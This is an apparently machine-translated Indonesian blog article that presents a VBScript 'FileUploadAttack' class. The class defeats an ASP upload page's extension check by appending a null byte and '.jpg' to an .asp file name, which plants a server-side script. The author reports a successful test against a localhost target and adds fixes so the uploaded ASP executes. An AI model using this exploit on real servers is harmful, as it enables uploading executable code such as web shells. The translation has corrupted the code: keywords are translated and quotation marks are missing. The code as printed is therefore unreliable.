Beberapa skrip dalam artikel ini bersifat ofensif dan hanya untuk studi dan penelitian. Harap gunakan dalam lingkup hukum dan wajar. Saya tidak bertanggung jawab atas kerugian yang ditimbulkan, dan saya tidak memberikan panduan teknis mengenai serangan peretasan.
Demon menyebutkan masalah ini hari ini, dan itu mengingatkan saya pada artikel yang saya lihat sebelumnya "Unggah file otomatis menggunakan IE+ADO tanpa interaksi pengguna - skrip VBS". Artikel ini memberikan contoh skrip unggah otomatis non-interaktif lokal. Anda dapat meminjamnya untuk hari ini. Skrip asli menggunakan komponen InternetExplorer.Application. Saya menulis ulang dan menggunakan WinHttp.WinHttpRequest.5.1 untuk mencapai fungsi serupa lebih banyak penggunaan komponen ini, silakan merujuk ke "Referensi Objek WinHttpRequest".
Salin kode sebagai berikut: OpsiFungsi
Eksplisit
file_get_contents(nama file)Redupkan fso, f
Set fso = WSH.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(nama file, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Tidak Ada
yang Ditetapkan fso =
Fungsi Tidak Ada Akhir
' Kode diubah dari http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Setel m_objWinHttp = WSH.CreateObject( _
WinHttp.WinHttpRequest.5.1)
End Sub
Private Sub Class_Terminate( )
Mengatur m_objWinHttp = Nothing
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(name)
m_strFieldName = nama
End Sub
'Infrormations Dalam header bidang formulir.
Fungsi mpFields(FieldName, FileName, ContentType)
Redupkan templat MPTemplate 'Untuk header multibagian
MPTemplate = Disposisi Konten: data formulir; nama={bidang};
namafile={file} + vbCrLf + _
Tipe Konten: {ct} + vbCrLf + vbCrLf
Redupkan
Keluar = Ganti(MPTemplate, {field}, FieldName)
Keluar = Ganti(Keluar, {file}, Nama File)
mpFields = Ganti( Keluar, {ct}, ContentType)
Fungsi Akhir
'Mengonversi string OLE menjadi string multibyte
Fungsi StringToMB(S)
Redupkan I, B
Untuk I = 1 Ke Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Berikutnya
StringToMB = B
Fungsi Akhir
'Bangun dokumen multibagian/formulir dengan konten file dan info header
Fungsi BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Redupkan FormData, Pra, Po
Const ContentType = aplikasi/unggah
'Dua bagian di sekitar isi file Dalam data bentuk multibagian
Pra = -- + Batasan + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + -- + Boundary + -- + vbCrLf
'Membuat data formulir menggunakan bidang biner kumpulan catatan
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject(ADODB.Recordset)
RS.Fields.Tambahkan b, adLongVarBinary, _
Len(Pra) + LenB(Isi File) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Konversi nilai string Pra ke data biner
LenData = Len(Pra)
RS(b).AppendChunk (StringToMB(Pra) & ChrB (0))
Pra = RS(b).GetChunk(LenData)
RS(b) =
'Konversi nilai string Po ke data biner
LenData = Len(Po)
RS(b).AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS(b).GetChunk(LenData)
RS(b) =
'Gabung Pra + FileContents + Po data biner
RS(b).AppendChunk (Pra )
RS(b).AppendChunk (Isi File)
RS(b).AppendChunk (Po)
RS.Perbarui
FormData = RS(b)
RS.Close
BuildFormData = FormData
Fungsi Akhir
Fungsi Publik sendFile(nama file)
Batas Konst = ---------------------------0123456789012
m_objWinHttp .Buka POST, m_strUrl, False
m_objWinHttp.setRequestHeader Tipe Konten, _
multipart/form-data; batas= + Batas
Isi File Redup, FormData
'Dapatkan file sumber Sebagai data biner
FileContents = file_get_contents(FileName)
'Berikut ini membuat ekstensi file berbahaya Chr(0) & .jpg
'Buat dokumen multibagian/form-data
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0 ) & .jpg, m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
Fungsi Akhir
Fungsi Publik getText()
getText = m_objWinHttp.ResponseText
Fungsi Akhir
FungsiKelas Akhir
VBMain()
VBMain = 0
Redupkan fileUpload
Set fileUpload = FileUploadAttack Baru
'Perlu memodifikasi konten berikut ke konten yang sesuai
' Unggah url
fileUpload.setUrl http:/ /localhost/upload/uploadfile.asp
fileUpload.setFieldName filepath 'Nama kotak formulir unggah
' Jalur file yang akan diunggahJika
fileUpload.sendFile(E:/projects/asp/index.asp)=200 Kemudian
MsgBox berhasil diunggah& fileUpload.getText()
Else
MsgBox failedEnd
If
Set fileUpload = Tidak Ada
Panggilan
Fungsi Akhir
Fungsi unggahWScript.Quit(VBMain())
adalah unggahan sederhana file ASP yang ditemukan di Internet, dan kemudian ditambahkan ke GetFileExtensionName yang saya jelaskan di artikel "Asal usul CHR(0) di ASP/VBScript dan masalah keamanannya itu membawa" Tentukan apakah ekstensinya jpg.
Hasil pengujiannya adalah: upload file asp secara manual, gagal menggunakan script serangan di atas untuk mengupload file asp, berhasil! Memang ada file asp di direktori upload. File asp ini juga bisa diakses melalui URL browser, tapi anehnya tampilannya kosong. Saya IIS 7 di sini. Apakah ini masalah versi IIS? mengembalikan aliran biner file? Oke, tinggalkan pertanyaan ini di sini untuk saat ini. Ada hal lain yang harus dilakukan, jadi mari kita selesaikan dulu.
Semua paket kode eksperimental dapat diunduh di sini upload.zip (untuk bug kode, silakan merujuk ke petunjuk pembaruan di bawah).
Diperbarui pada tanggal 25 Desember 2011.
Berdasarkan masukan semua orang, file yang diunggah telah menjadi Unicode Little. Masalah coding endian, pertama-tama saya minta maaf karena saya malas sekali saat itu. Referensi kode utama dari orang asing, dan orang asing tersebut menjelaskan fungsi GetFile untuk mendapatkan file data biner saya tidak dapat menemukan implementasinya dari fungsi ini, dan saya terlalu malas untuk melakukan pembacaan biner, jadi saya lakukan saja. File_get_contents memperoleh data teks. Ternyata memang ada masalah dengan ini. Biar saya jelaskan langkah perbaikannya di bawah ini malas dan langsung mengubah data teks menjadi data biner pada basis yang ada. Dengan menggunakan komponen ADODB.Stream, fungsinya adalah sebagai berikut:
Salin kode Kode tersebut sebagai berikut:
'Konversikan string str dari charset yang ditentukan ke biner
Fungsi strtobin(str, charset)
Dengan WSH.CreateObject(ADODB.Stream)
. Ketik = 2
.Mode = 3
. Buka
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read()
.Tutup
End Dengan
Fungsi End
Kemudian ubah baris 106 kode di atas menjadi berikut (baca teks dalam ASCII):
Copy kode sebagai berikut:
FileContents = strtobin(file_get_contents(FileName), ASCII)
File ASP yang diupload setelah perubahan ini Biasanya file yang disandikan, dan kemudian browser mengakses file ini, Anda dapat melihat bahwa ASP berhasil diurai.
Namun, ini sepertinya agak bertele-tele. Sebenarnya, Anda bisa langsung membuka file dalam biner dan mengembalikan datanya. Ada dua langkah di sini: 1. Membaca file dalam mode teks; Kode satu langkah dapat merujuk ke fungsi berikut yang membaca data file dalam mode biner Byte():
Salin kode sebagai berikut:
'Mengembalikan konten file Sebagai data biner
Fungsi GetFile(Nama File)
Dim Stream: Set Stream = CreateObject(ADODB .Stream )
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile Nama File
GetFile = Stream.Read
Stream.Close
Set Stream = Tidak Ada
Akhir
Saya tidak akan menulis kodeFungsi
yang lebih optimal. Ini terutama menjelaskan ide pengunggahan. Jika Anda ingin mendapatkan implementasi pengunggahan yang lengkap, Anda dapat merujuk ke "File Unggahan POST Simulasi VBS".